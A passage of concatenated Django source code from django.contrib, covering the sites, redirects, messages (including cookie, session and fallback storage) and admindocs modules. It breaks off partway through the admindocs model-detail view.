def create_default_site(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, apps=global_apps, **kwargs):
    try:
        Site = apps.get_model('sites', 'Site')
    except LookupError:
        return

    if not router.allow_migrate_model(using, Site):
        return

    if not Site.objects.using(using).exists():
        # The default settings set SITE_ID = 1, and some tests in Django's test
        # suite rely on this value. However, if database sequences are reused
        # (e.g. in the test suite after flush/syncdb), it isn't guaranteed that
        # the next id will be 1, so we coerce it. See #15573 and #16353. This
        # can also crop up outside of tests - see #15346.
        if verbosity >= 2:
            print("Creating example.com Site object")
        Site(pk=getattr(settings, 'SITE_ID', 1), domain="example.com", name="example.com").save(using=using)

        # We set an explicit pk instead of relying on auto-incrementation,
        # so we need to reset the database sequence. See #17415.
        sequence_sql = connections[using].ops.sequence_reset_sql(no_style(), [Site])
        if sequence_sql:
            if verbosity >= 2:
                print("Resetting sequence")
            with connections[using].cursor() as cursor:
                for command in sequence_sql:
                    cursor.execute(command)






from django.utils.deprecation import MiddlewareMixin

from .shortcuts import get_current_site


class CurrentSiteMiddleware(MiddlewareMixin):
    """
    Middleware that sets `site` attribute to request object.
    """

    def process_request(self, request):
        request.site = get_current_site(request)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.sites.models
from django.contrib.sites.models import _simple_domain_name_validator
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = []

    operations = [
        migrations.CreateModel(
            name='Site',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('domain', models.CharField(
                    max_length=100, verbose_name='domain name', validators=[_simple_domain_name_validator]
                )),
                ('name', models.CharField(max_length=50, verbose_name='display name')),
            ],
            options={
                'ordering': ('domain',),
                'db_table': 'django_site',
                'verbose_name': 'site',
                'verbose_name_plural': 'sites',
            },
            bases=(models.Model,),
            managers=[
                ('objects', django.contrib.sites.models.SiteManager()),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.sites.models
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('sites', '0001_initial'),
    ]

    operations = [
        migrations.AlterField(
            model_name='site',
            name='domain',
            field=models.CharField(
                max_length=100, unique=True, validators=[django.contrib.sites.models._simple_domain_name_validator],
                verbose_name='domain name'
            ),
        ),
    ]






from django.contrib.sites.models import Site
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _


@python_2_unicode_compatible
class Redirect(models.Model):
    site = models.ForeignKey(Site, models.CASCADE, verbose_name=_('site'))
    old_path = models.CharField(
        _('redirect from'),
        max_length=200,
        db_index=True,
        help_text=_("This should be an absolute path, excluding the domain name. Example: '/events/search/'."),
    )
    new_path = models.CharField(
        _('redirect to'),
        max_length=200,
        blank=True,
        help_text=_("This can be either an absolute path (as above) or a full URL starting with 'http://'."),
    )

    class Meta:
        verbose_name = _('redirect')
        verbose_name_plural = _('redirects')
        db_table = 'django_redirect'
        unique_together = (('site', 'old_path'),)
        ordering = ('old_path',)

    def __str__(self):
        return "%s ---> %s" % (self.old_path, self.new_path)






from django.contrib import admin
from django.contrib.redirects.models import Redirect


@admin.register(Redirect)
class RedirectAdmin(admin.ModelAdmin):
    list_display = ('old_path', 'new_path')
    list_filter = ('site',)
    search_fields = ('old_path', 'new_path')
    radio_fields = {'site': admin.VERTICAL}






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class RedirectsConfig(AppConfig):
    name = 'django.contrib.redirects'
    verbose_name = _("Redirects")






default_app_config = 'django.contrib.redirects.apps.RedirectsConfig'






from __future__ import unicode_literals

from django import http
from django.apps import apps
from django.conf import settings
from django.contrib.redirects.models import Redirect
from django.contrib.sites.shortcuts import get_current_site
from django.core.exceptions import ImproperlyConfigured
from django.utils.deprecation import MiddlewareMixin


class RedirectFallbackMiddleware(MiddlewareMixin):
    # Defined as class-level attributes to be subclassing-friendly.
    response_gone_class = http.HttpResponseGone
    response_redirect_class = http.HttpResponsePermanentRedirect

    def __init__(self, get_response=None):
        if not apps.is_installed('django.contrib.sites'):
            raise ImproperlyConfigured(
                "You cannot use RedirectFallbackMiddleware when "
                "django.contrib.sites is not installed."
            )
        super(RedirectFallbackMiddleware, self).__init__(get_response)

    def process_response(self, request, response):
        # No need to check for a redirect for non-404 responses.
        if response.status_code != 404:
            return response

        full_path = request.get_full_path()
        current_site = get_current_site(request)

        r = None
        try:
            r = Redirect.objects.get(site=current_site, old_path=full_path)
        except Redirect.DoesNotExist:
            pass
        if r is None and settings.APPEND_SLASH and not request.path.endswith('/'):
            try:
                r = Redirect.objects.get(
                    site=current_site,
                    old_path=request.get_full_path(force_append_slash=True),
                )
            except Redirect.DoesNotExist:
                pass
        if r is not None:
            if r.new_path == '':
                return self.response_gone_class()
            return self.response_redirect_class(r.new_path)

        # No redirect was found. Return the response.
        return response






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('sites', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='Redirect',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('site', models.ForeignKey(
                    to='sites.Site',
                    to_field='id',
                    on_delete=models.CASCADE,
                    verbose_name='site',
                )),
                ('old_path', models.CharField(
                    help_text=(
                        "This should be an absolute path, excluding the domain name. Example: '/events/search/'."
                    ), max_length=200, verbose_name='redirect from', db_index=True
                )),
                ('new_path', models.CharField(
                    help_text="This can be either an absolute path (as above) or a full URL starting with 'http://'.",
                    max_length=200, verbose_name='redirect to', blank=True
                )),
            ],
            options={
                'ordering': ('old_path',),
                'unique_together': set([('site', 'old_path')]),
                'db_table': 'django_redirect',
                'verbose_name': 'redirect',
                'verbose_name_plural': 'redirects',
            },
            bases=(models.Model,),
        ),
    ]












from django.contrib import messages


class SuccessMessageMixin(object):
    """
    Adds a success message on successful form submission.
    """
    success_message = ''

    def form_valid(self, form):
        response = super(SuccessMessageMixin, self).form_valid(form)
        success_message = self.get_success_message(form.cleaned_data)
        if success_message:
            messages.success(self.request, success_message)
        return response

    def get_success_message(self, cleaned_data):
        return self.success_message % cleaned_data






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class MessagesConfig(AppConfig):
    name = 'django.contrib.messages'
    verbose_name = _("Messages")






DEBUG = 10
INFO = 20
SUCCESS = 25
WARNING = 30
ERROR = 40

DEFAULT_TAGS = {
    DEBUG: 'debug',
    INFO: 'info',
    SUCCESS: 'success',
    WARNING: 'warning',
    ERROR: 'error',
}

DEFAULT_LEVELS = {
    'DEBUG': DEBUG,
    'INFO': INFO,
    'SUCCESS': SUCCESS,
    'WARNING': WARNING,
    'ERROR': ERROR,
}






from django.contrib.messages.api import *  # NOQA
from django.contrib.messages.constants import *  # NOQA


default_app_config = 'django.contrib.messages.apps.MessagesConfig'






from django.contrib.messages import constants
from django.contrib.messages.storage import default_storage
from django.http import HttpRequest

__all__ = (
    'add_message', 'get_messages',
    'get_level', 'set_level',
    'debug', 'info', 'success', 'warning', 'error',
    'MessageFailure',
)


class MessageFailure(Exception):
    pass


def add_message(request, level, message, extra_tags='', fail_silently=False):
    """
    Attempts to add a message to the request using the 'messages' app.
    """
    if not isinstance(request, HttpRequest):
        raise TypeError("add_message() argument must be an HttpRequest object, "
                        "not '%s'." % request.__class__.__name__)
    if hasattr(request, '_messages'):
        return request._messages.add(level, message, extra_tags)
    if not fail_silently:
        raise MessageFailure(
            'You cannot add messages without installing '
            'django.contrib.messages.middleware.MessageMiddleware'
        )


def get_messages(request):
    """
    Returns the message storage on the request if it exists, otherwise returns
    an empty list.
    """
    return getattr(request, '_messages', [])


def get_level(request):
    """
    Returns the minimum level of messages to be recorded.

    The default level is the ``MESSAGE_LEVEL`` setting. If this is not found,
    the ``INFO`` level is used.
    """
    storage = getattr(request, '_messages', default_storage(request))
    return storage.level


def set_level(request, level):
    """
    Sets the minimum level of messages to be recorded, returning ``True`` if
    the level was recorded successfully.

    If set to ``None``, the default level will be used (see the ``get_level``
    method).
    """
    if not hasattr(request, '_messages'):
        return False
    request._messages.level = level
    return True


def debug(request, message, extra_tags='', fail_silently=False):
    """
    Adds a message with the ``DEBUG`` level.
    """
    add_message(request, constants.DEBUG, message, extra_tags=extra_tags,
                fail_silently=fail_silently)


def info(request, message, extra_tags='', fail_silently=False):
    """
    Adds a message with the ``INFO`` level.
    """
    add_message(request, constants.INFO, message, extra_tags=extra_tags,
                fail_silently=fail_silently)


def success(request, message, extra_tags='', fail_silently=False):
    """
    Adds a message with the ``SUCCESS`` level.
    """
    add_message(request, constants.SUCCESS, message, extra_tags=extra_tags,
                fail_silently=fail_silently)


def warning(request, message, extra_tags='', fail_silently=False):
    """
    Adds a message with the ``WARNING`` level.
    """
    add_message(request, constants.WARNING, message, extra_tags=extra_tags,
                fail_silently=fail_silently)


def error(request, message, extra_tags='', fail_silently=False):
    """
    Adds a message with the ``ERROR`` level.
    """
    add_message(request, constants.ERROR, message, extra_tags=extra_tags,
                fail_silently=fail_silently)






from django.conf import settings
from django.contrib.messages import constants


def get_level_tags():
    """
    Returns the message level tags.
    """
    level_tags = constants.DEFAULT_TAGS.copy()
    level_tags.update(getattr(settings, 'MESSAGE_TAGS', {}))
    return level_tags






from django.contrib.messages.api import get_messages
from django.contrib.messages.constants import DEFAULT_LEVELS


def messages(request):
    """
    Returns a lazy 'messages' context variable.
    """
    return {
        'messages': get_messages(request),
        'DEFAULT_MESSAGE_LEVELS': DEFAULT_LEVELS,
    }






from django.conf import settings
from django.contrib.messages.storage import default_storage
from django.utils.deprecation import MiddlewareMixin


class MessageMiddleware(MiddlewareMixin):
    """
    Middleware that handles temporary messages.
    """

    def process_request(self, request):
        request._messages = default_storage(request)

    def process_response(self, request, response):
        """
        Updates the storage backend (i.e., saves the messages).

        If not all messages could not be stored and ``DEBUG`` is ``True``, a
        ``ValueError`` is raised.
        """
        # A higher middleware layer may return a request which does not contain
        # messages storage, so make no assumption that it will be there.
        if hasattr(request, '_messages'):
            unstored_messages = request._messages.update(response)
            if unstored_messages and settings.DEBUG:
                raise ValueError('Not all temporary messages could be stored.')
        return response






from __future__ import unicode_literals

from django.conf import settings
from django.contrib.messages import constants, utils
from django.utils.encoding import force_text, python_2_unicode_compatible

LEVEL_TAGS = utils.get_level_tags()


@python_2_unicode_compatible
class Message(object):
    """
    Represents an actual message that can be stored in any of the supported
    storage classes (typically session- or cookie-based) and rendered in a view
    or template.
    """

    def __init__(self, level, message, extra_tags=None):
        self.level = int(level)
        self.message = message
        self.extra_tags = extra_tags

    def _prepare(self):
        """
        Prepares the message for serialization by forcing the ``message``
        and ``extra_tags`` to unicode in case they are lazy translations.

        Known "safe" types (None, int, etc.) are not converted (see Django's
        ``force_text`` implementation for details).
        """
        self.message = force_text(self.message, strings_only=True)
        self.extra_tags = force_text(self.extra_tags, strings_only=True)

    def __eq__(self, other):
        return isinstance(other, Message) and self.level == other.level and \
            self.message == other.message

    def __str__(self):
        return force_text(self.message)

    def _get_tags(self):
        extra_tags = force_text(self.extra_tags, strings_only=True)
        if extra_tags and self.level_tag:
            return ' '.join([extra_tags, self.level_tag])
        elif extra_tags:
            return extra_tags
        elif self.level_tag:
            return self.level_tag
        return ''
    tags = property(_get_tags)

    @property
    def level_tag(self):
        return force_text(LEVEL_TAGS.get(self.level, ''), strings_only=True)


class BaseStorage(object):
    """
    This is the base backend for temporary message storage.

    This is not a complete class; to be a usable storage backend, it must be
    subclassed and the two methods ``_get`` and ``_store`` overridden.
    """

    def __init__(self, request, *args, **kwargs):
        self.request = request
        self._queued_messages = []
        self.used = False
        self.added_new = False
        super(BaseStorage, self).__init__(*args, **kwargs)

    def __len__(self):
        return len(self._loaded_messages) + len(self._queued_messages)

    def __iter__(self):
        self.used = True
        if self._queued_messages:
            self._loaded_messages.extend(self._queued_messages)
            self._queued_messages = []
        return iter(self._loaded_messages)

    def __contains__(self, item):
        return item in self._loaded_messages or item in self._queued_messages

    @property
    def _loaded_messages(self):
        """
        Returns a list of loaded messages, retrieving them first if they have
        not been loaded yet.
        """
        if not hasattr(self, '_loaded_data'):
            messages, all_retrieved = self._get()
            self._loaded_data = messages or []
        return self._loaded_data

    def _get(self, *args, **kwargs):
        """
        Retrieves a list of stored messages. Returns a tuple of the messages
        and a flag indicating whether or not all the messages originally
        intended to be stored in this storage were, in fact, stored and
        retrieved; e.g., ``(messages, all_retrieved)``.

        **This method must be implemented by a subclass.**

        If it is possible to tell if the backend was not used (as opposed to
        just containing no messages) then ``None`` should be returned in
        place of ``messages``.
        """
        raise NotImplementedError('subclasses of BaseStorage must provide a _get() method')

    def _store(self, messages, response, *args, **kwargs):
        """
        Stores a list of messages, returning a list of any messages which could
        not be stored.

        One type of object must be able to be stored, ``Message``.

        **This method must be implemented by a subclass.**
        """
        raise NotImplementedError('subclasses of BaseStorage must provide a _store() method')

    def _prepare_messages(self, messages):
        """
        Prepares a list of messages for storage.
        """
        for message in messages:
            message._prepare()

    def update(self, response):
        """
        Stores all unread messages.

        If the backend has yet to be iterated, previously stored messages will
        be stored again. Otherwise, only messages added after the last
        iteration will be stored.
        """
        self._prepare_messages(self._queued_messages)
        if self.used:
            return self._store(self._queued_messages, response)
        elif self.added_new:
            messages = self._loaded_messages + self._queued_messages
            return self._store(messages, response)

    def add(self, level, message, extra_tags=''):
        """
        Queues a message to be stored.

        The message is only queued if it contained something and its level is
        not less than the recording level (``self.level``).
        """
        if not message:
            return
        # Check that the message level is not less than the recording level.
        level = int(level)
        if level < self.level:
            return
        # Add the message.
        self.added_new = True
        message = Message(level, message, extra_tags=extra_tags)
        self._queued_messages.append(message)

    def _get_level(self):
        """
        Returns the minimum recorded level.

        The default level is the ``MESSAGE_LEVEL`` setting. If this is
        not found, the ``INFO`` level is used.
        """
        if not hasattr(self, '_level'):
            self._level = getattr(settings, 'MESSAGE_LEVEL', constants.INFO)
        return self._level

    def _set_level(self, value=None):
        """
        Sets a custom minimum recorded level.

        If set to ``None``, the default level will be used (see the
        ``_get_level`` method).
        """
        if value is None and hasattr(self, '_level'):
            del self._level
        else:
            self._level = int(value)

    level = property(_get_level, _set_level, _set_level)






import json

from django.conf import settings
from django.contrib.messages.storage.base import BaseStorage
from django.contrib.messages.storage.cookie import (
    MessageDecoder, MessageEncoder,
)
from django.utils import six


class SessionStorage(BaseStorage):
    """
    Stores messages in the session (that is, django.contrib.sessions).
    """
    session_key = '_messages'

    def __init__(self, request, *args, **kwargs):
        assert hasattr(request, 'session'), "The session-based temporary "\
            "message storage requires session middleware to be installed, "\
            "and come before the message middleware in the "\
            "MIDDLEWARE%s list." % ("_CLASSES" if settings.MIDDLEWARE is None else "")
        super(SessionStorage, self).__init__(request, *args, **kwargs)

    def _get(self, *args, **kwargs):
        """
        Retrieves a list of messages from the request's session.  This storage
        always stores everything it is given, so return True for the
        all_retrieved flag.
        """
        return self.deserialize_messages(self.request.session.get(self.session_key)), True

    def _store(self, messages, response, *args, **kwargs):
        """
        Stores a list of messages to the request's session.
        """
        if messages:
            self.request.session[self.session_key] = self.serialize_messages(messages)
        else:
            self.request.session.pop(self.session_key, None)
        return []

    def serialize_messages(self, messages):
        encoder = MessageEncoder(separators=(',', ':'))
        return encoder.encode(messages)

    def deserialize_messages(self, data):
        if data and isinstance(data, six.string_types):
            return json.loads(data, cls=MessageDecoder)
        return data






import json

from django.conf import settings
from django.contrib.messages.storage.base import BaseStorage, Message
from django.http import SimpleCookie
from django.utils import six
from django.utils.crypto import constant_time_compare, salted_hmac
from django.utils.safestring import SafeData, mark_safe


class MessageEncoder(json.JSONEncoder):
    """
    Compactly serializes instances of the ``Message`` class as JSON.
    """
    message_key = '__json_message'

    def default(self, obj):
        if isinstance(obj, Message):
            # Using 0/1 here instead of False/True to produce more compact json
            is_safedata = 1 if isinstance(obj.message, SafeData) else 0
            message = [self.message_key, is_safedata, obj.level, obj.message]
            if obj.extra_tags:
                message.append(obj.extra_tags)
            return message
        return super(MessageEncoder, self).default(obj)


class MessageDecoder(json.JSONDecoder):
    """
    Decodes JSON that includes serialized ``Message`` instances.
    """

    def process_messages(self, obj):
        if isinstance(obj, list) and obj:
            if obj[0] == MessageEncoder.message_key:
                if len(obj) == 3:
                    # Compatibility with previously-encoded messages
                    return Message(*obj[1:])
                if obj[1]:
                    obj[3] = mark_safe(obj[3])
                return Message(*obj[2:])
            return [self.process_messages(item) for item in obj]
        if isinstance(obj, dict):
            return {key: self.process_messages(value)
                    for key, value in six.iteritems(obj)}
        return obj

    def decode(self, s, **kwargs):
        decoded = super(MessageDecoder, self).decode(s, **kwargs)
        return self.process_messages(decoded)


class CookieStorage(BaseStorage):
    """
    Stores messages in a cookie.
    """
    cookie_name = 'messages'
    # uwsgi's default configuration enforces a maximum size of 4kb for all the
    # HTTP headers. In order to leave some room for other cookies and headers,
    # restrict the session cookie to 1/2 of 4kb. See #18781.
    max_cookie_size = 2048
    not_finished = '__messagesnotfinished__'

    def _get(self, *args, **kwargs):
        """
        Retrieves a list of messages from the messages cookie.  If the
        not_finished sentinel value is found at the end of the message list,
        remove it and return a result indicating that not all messages were
        retrieved by this storage.
        """
        data = self.request.COOKIES.get(self.cookie_name)
        messages = self._decode(data)
        all_retrieved = not (messages and messages[-1] == self.not_finished)
        if messages and not all_retrieved:
            # remove the sentinel value
            messages.pop()
        return messages, all_retrieved

    def _update_cookie(self, encoded_data, response):
        """
        Either sets the cookie with the encoded data if there is any data to
        store, or deletes the cookie.
        """
        if encoded_data:
            response.set_cookie(
                self.cookie_name, encoded_data,
                domain=settings.SESSION_COOKIE_DOMAIN,
                secure=settings.SESSION_COOKIE_SECURE or None,
                httponly=settings.SESSION_COOKIE_HTTPONLY or None,
            )
        else:
            response.delete_cookie(self.cookie_name, domain=settings.SESSION_COOKIE_DOMAIN)

    def _store(self, messages, response, remove_oldest=True, *args, **kwargs):
        """
        Stores the messages to a cookie, returning a list of any messages which
        could not be stored.

        If the encoded data is larger than ``max_cookie_size``, removes
        messages until the data fits (these are the messages which are
        returned), and add the not_finished sentinel value to indicate as much.
        """
        unstored_messages = []
        encoded_data = self._encode(messages)
        if self.max_cookie_size:
            # data is going to be stored eventually by SimpleCookie, which
            # adds its own overhead, which we must account for.
            cookie = SimpleCookie()  # create outside the loop

            def stored_length(val):
                return len(cookie.value_encode(val)[1])

            while encoded_data and stored_length(encoded_data) > self.max_cookie_size:
                if remove_oldest:
                    unstored_messages.append(messages.pop(0))
                else:
                    unstored_messages.insert(0, messages.pop())
                encoded_data = self._encode(messages + [self.not_finished],
                                            encode_empty=unstored_messages)
        self._update_cookie(encoded_data, response)
        return unstored_messages

    def _hash(self, value):
        """
        Creates an HMAC/SHA1 hash based on the value and the project setting's
        SECRET_KEY, modified to make it unique for the present purpose.
        """
        key_salt = 'django.contrib.messages'
        return salted_hmac(key_salt, value).hexdigest()

    def _encode(self, messages, encode_empty=False):
        """
        Returns an encoded version of the messages list which can be stored as
        plain text.

        Since the data will be retrieved from the client-side, the encoded data
        also contains a hash to ensure that the data was not tampered with.
        """
        if messages or encode_empty:
            encoder = MessageEncoder(separators=(',', ':'))
            value = encoder.encode(messages)
            return '%s$%s' % (self._hash(value), value)

    def _decode(self, data):
        """
        Safely decodes an encoded text stream back into a list of messages.

        If the encoded text stream contained an invalid hash or was in an
        invalid format, ``None`` is returned.
        """
        if not data:
            return None
        bits = data.split('$', 1)
        if len(bits) == 2:
            hash, value = bits
            if constant_time_compare(hash, self._hash(value)):
                try:
                    # If we get here (and the JSON decode works), everything is
                    # good. In any other case, drop back and return None.
                    return json.loads(value, cls=MessageDecoder)
                except ValueError:
                    pass
        # Mark the data as used (so it gets removed) since something was wrong
        # with the data.
        self.used = True
        return None






from django.conf import settings
from django.utils.module_loading import import_string


def default_storage(request):
    """
    Callable with the same interface as the storage classes.

    This isn't just default_storage = import_string(settings.MESSAGE_STORAGE)
    to avoid accessing the settings at the module level.
    """
    return import_string(settings.MESSAGE_STORAGE)(request)






from django.contrib.messages.storage.base import BaseStorage
from django.contrib.messages.storage.cookie import CookieStorage
from django.contrib.messages.storage.session import SessionStorage


class FallbackStorage(BaseStorage):
    """
    Tries to store all messages in the first backend, storing any unstored
    messages in each subsequent backend backend.
    """
    storage_classes = (CookieStorage, SessionStorage)

    def __init__(self, *args, **kwargs):
        super(FallbackStorage, self).__init__(*args, **kwargs)
        self.storages = [storage_class(*args, **kwargs)
                         for storage_class in self.storage_classes]
        self._used_storages = set()

    def _get(self, *args, **kwargs):
        """
        Gets a single list of messages from all storage backends.
        """
        all_messages = []
        for storage in self.storages:
            messages, all_retrieved = storage._get()
            # If the backend hasn't been used, no more retrieval is necessary.
            if messages is None:
                break
            if messages:
                self._used_storages.add(storage)
            all_messages.extend(messages)
            # If this storage class contained all the messages, no further
            # retrieval is necessary
            if all_retrieved:
                break
        return all_messages, all_retrieved

    def _store(self, messages, response, *args, **kwargs):
        """
        Stores the messages, returning any unstored messages after trying all
        backends.

        For each storage backend, any messages not stored are passed on to the
        next backend.
        """
        for storage in self.storages:
            if messages:
                messages = storage._store(messages, response,
                                          remove_oldest=False)
            # Even if there are no more messages, continue iterating to ensure
            # storages which contained messages are flushed.
            elif storage in self._used_storages:
                storage._store([], response)
                self._used_storages.remove(storage)
        return messages






import inspect
import os
import re
from importlib import import_module

from django.apps import apps
from django.conf import settings
from django.contrib import admin
from django.contrib.admin.views.decorators import staff_member_required
from django.contrib.admindocs import utils
from django.core.exceptions import ImproperlyConfigured, ViewDoesNotExist
from django.db import models
from django.http import Http404
from django.template.engine import Engine
from django.urls import get_mod_func, get_resolver, get_urlconf, reverse
from django.utils import six
from django.utils.decorators import method_decorator
from django.utils.inspect import (
    func_accepts_kwargs, func_accepts_var_args, func_has_no_args,
    get_func_full_args,
)
from django.utils.translation import ugettext as _
from django.views.generic import TemplateView

# Exclude methods starting with these strings from documentation
MODEL_METHODS_EXCLUDE = ('_', 'add_', 'delete', 'save', 'set_')


class BaseAdminDocsView(TemplateView):
    """
    Base view for admindocs views.
    """
    @method_decorator(staff_member_required)
    def dispatch(self, request, *args, **kwargs):
        if not utils.docutils_is_available:
            # Display an error message for people without docutils
            self.template_name = 'admin_doc/missing_docutils.html'
            return self.render_to_response(admin.site.each_context(request))
        return super(BaseAdminDocsView, self).dispatch(request, *args, **kwargs)

    def get_context_data(self, **kwargs):
        kwargs.update({'root_path': reverse('admin:index')})
        kwargs.update(admin.site.each_context(self.request))
        return super(BaseAdminDocsView, self).get_context_data(**kwargs)


class BookmarkletsView(BaseAdminDocsView):
    template_name = 'admin_doc/bookmarklets.html'

    def get_context_data(self, **kwargs):
        context = super(BookmarkletsView, self).get_context_data(**kwargs)
        context.update({
            'admin_url': "%s://%s%s" % (
                self.request.scheme, self.request.get_host(), context['root_path'])
        })
        return context


class TemplateTagIndexView(BaseAdminDocsView):
    template_name = 'admin_doc/template_tag_index.html'

    def get_context_data(self, **kwargs):
        tags = []
        try:
            engine = Engine.get_default()
        except ImproperlyConfigured:
            # Non-trivial TEMPLATES settings aren't supported (#24125).
            pass
        else:
            app_libs = sorted(engine.template_libraries.items())
            builtin_libs = [('', lib) for lib in engine.template_builtins]
            for module_name, library in builtin_libs + app_libs:
                for tag_name, tag_func in library.tags.items():
                    title, body, metadata = utils.parse_docstring(tag_func.__doc__)
                    if title:
                        title = utils.parse_rst(title, 'tag', _('tag:') + tag_name)
                    if body:
                        body = utils.parse_rst(body, 'tag', _('tag:') + tag_name)
                    for key in metadata:
                        metadata[key] = utils.parse_rst(metadata[key], 'tag', _('tag:') + tag_name)
                    tag_library = module_name.split('.')[-1]
                    tags.append({
                        'name': tag_name,
                        'title': title,
                        'body': body,
                        'meta': metadata,
                        'library': tag_library,
                    })
        kwargs.update({'tags': tags})
        return super(TemplateTagIndexView, self).get_context_data(**kwargs)


class TemplateFilterIndexView(BaseAdminDocsView):
    template_name = 'admin_doc/template_filter_index.html'

    def get_context_data(self, **kwargs):
        filters = []
        try:
            engine = Engine.get_default()
        except ImproperlyConfigured:
            # Non-trivial TEMPLATES settings aren't supported (#24125).
            pass
        else:
            app_libs = sorted(engine.template_libraries.items())
            builtin_libs = [('', lib) for lib in engine.template_builtins]
            for module_name, library in builtin_libs + app_libs:
                for filter_name, filter_func in library.filters.items():
                    title, body, metadata = utils.parse_docstring(filter_func.__doc__)
                    if title:
                        title = utils.parse_rst(title, 'filter', _('filter:') + filter_name)
                    if body:
                        body = utils.parse_rst(body, 'filter', _('filter:') + filter_name)
                    for key in metadata:
                        metadata[key] = utils.parse_rst(metadata[key], 'filter', _('filter:') + filter_name)
                    tag_library = module_name.split('.')[-1]
                    filters.append({
                        'name': filter_name,
                        'title': title,
                        'body': body,
                        'meta': metadata,
                        'library': tag_library,
                    })
        kwargs.update({'filters': filters})
        return super(TemplateFilterIndexView, self).get_context_data(**kwargs)


class ViewIndexView(BaseAdminDocsView):
    template_name = 'admin_doc/view_index.html'

    @staticmethod
    def _get_full_name(func):
        mod_name = func.__module__
        if six.PY3:
            return '%s.%s' % (mod_name, func.__qualname__)
        else:
            # PY2 does not support __qualname__
            func_name = getattr(func, '__name__', func.__class__.__name__)
            return '%s.%s' % (mod_name, func_name)

    def get_context_data(self, **kwargs):
        views = []
        urlconf = import_module(settings.ROOT_URLCONF)
        view_functions = extract_views_from_urlpatterns(urlconf.urlpatterns)
        for (func, regex, namespace, name) in view_functions:
            views.append({
                'full_name': self._get_full_name(func),
                'url': simplify_regex(regex),
                'url_name': ':'.join((namespace or []) + (name and [name] or [])),
                'namespace': ':'.join((namespace or [])),
                'name': name,
            })
        kwargs.update({'views': views})
        return super(ViewIndexView, self).get_context_data(**kwargs)


class ViewDetailView(BaseAdminDocsView):
    template_name = 'admin_doc/view_detail.html'

    @staticmethod
    def _get_view_func(view):
        urlconf = get_urlconf()
        if get_resolver(urlconf)._is_callback(view):
            mod, func = get_mod_func(view)
            try:
                # Separate the module and function, e.g.
                # 'mymodule.views.myview' -> 'mymodule.views', 'myview').
                return getattr(import_module(mod), func)
            except ImportError:
                # Import may fail because view contains a class name, e.g.
                # 'mymodule.views.ViewContainer.my_view', so mod takes the form
                # 'mymodule.views.ViewContainer'. Parse it again to separate
                # the module and class.
                mod, klass = get_mod_func(mod)
                return getattr(getattr(import_module(mod), klass), func)
            except AttributeError:
                # PY2 generates incorrect paths for views that are methods,
                # e.g. 'mymodule.views.ViewContainer.my_view' will be
                # listed as 'mymodule.views.my_view' because the class name
                # can't be detected. This causes an AttributeError when
                # trying to resolve the view.
                return None

    def get_context_data(self, **kwargs):
        view = self.kwargs['view']
        view_func = self._get_view_func(view)
        if view_func is None:
            raise Http404
        title, body, metadata = utils.parse_docstring(view_func.__doc__)
        if title:
            title = utils.parse_rst(title, 'view', _('view:') + view)
        if body:
            body = utils.parse_rst(body, 'view', _('view:') + view)
        for key in metadata:
            metadata[key] = utils.parse_rst(metadata[key], 'model', _('view:') + view)
        kwargs.update({
            'name': view,
            'summary': title,
            'body': body,
            'meta': metadata,
        })
        return super(ViewDetailView, self).get_context_data(**kwargs)


class ModelIndexView(BaseAdminDocsView):
    template_name = 'admin_doc/model_index.html'

    def get_context_data(self, **kwargs):
        m_list = [m._meta for m in apps.get_models()]
        kwargs.update({'models': m_list})
        return super(ModelIndexView, self).get_context_data(**kwargs)


class ModelDetailView(BaseAdminDocsView):
    template_name = 'admin_doc/model_detail.html'

    def get_context_data(self, **kwargs):
        model_name = self.kwargs['model_name']
        # Get the model class.
        try:
            app_config = apps.get_app_config(self.kwargs['app_label'])
        except LookupError:
            raise Http404(_("App %(app_label)r not found") % self.kwargs)
        try:
            model = app_config.get_model(model_name)
        except LookupError:
            raise Http404(_("Model %(model_name)r not found in app %(app_label)r") % self.kwargs)

        opts = model._meta

        title, body, metadata = utils.parse_docstring(model.__doc__)
        if title:
            title = utils.parse_rst(title, 'model', _('model:') + model_name)
        if body:
            body = utils.parse_rst(body, 'model', _('model:') + model_name)

        # Gather fields/field descriptions.
        fields = []
        for field in opts.fields:
            # ForeignKey is a special case since the field will actually be a
            # descriptor that returns the other object
            if isinstance(field, models.ForeignKey):
                data_type = field.remote_field.model.__name__
                app_label = field.remote_field.model._meta.app_label
                verbose = utils.parse_rst(
                    (_("the related `%(app_label)s.%(data_type)s` object") % {
                        'app_label': app_label, 'data_type': data_type,
                    }),
                    'model',
                    _('model:') + data_type,
                )
            else:
                data_type = get_readable_field_data_type(field)
                verbose = field.verbose_name
            fields.append({
                'name': field.name,
                'data_type': data_type,
                'verbose': verbose or '',
                'help_text': field.help_text,
            })

        # Gather many-to-many fields.
        for field in opts.many_to_many:
            data_type = field.remote_field.model.__name__
            app_label = field.remote_field.model._meta.app_label
            verbose = _("related `%(app_label)s.%(object_name)s` objects") % {
                'app_label': app_label,
                'object_name': data_type,
            }
            fields.append({
                'name': "%s.all" % field.name,
                "data_type": 'List',
                'verbose': utils.parse_rst(_("all %s") % verbose, 'model', _('model:') + opts.model_name),
            })
            fields.append({
                'name': "%s.count" % field.name,
                'data_type': 'Integer',
                'verbose': utils.parse_rst(_("number of %s") % verbose, 'model', _('model:') + opts.model_name),
            })

        methods = []
        # Gather model methods.
        for func_name, func in model.__dict__.items():
            if inspect.isfunction(func):
                try:
                    for exclude in MODEL_METHODS_EXCLUDE:
                        if func_name.startswith(exclude):
                            raise StopIteration
                except StopIteration:
                    continue
                verbose = func.__doc__
                if verbose:
                    verbose = utils.parse_rst(utils.trim_docstring(verbose), 'model', _('model:') + opts.model_name)
                # If a method has no arguments, show it as a 'field', otherwise
                # as a 'method with arguments'.
                if func_has_no_args(func) and not func_accepts_kwargs(func) and not func_accepts_var_args(func):
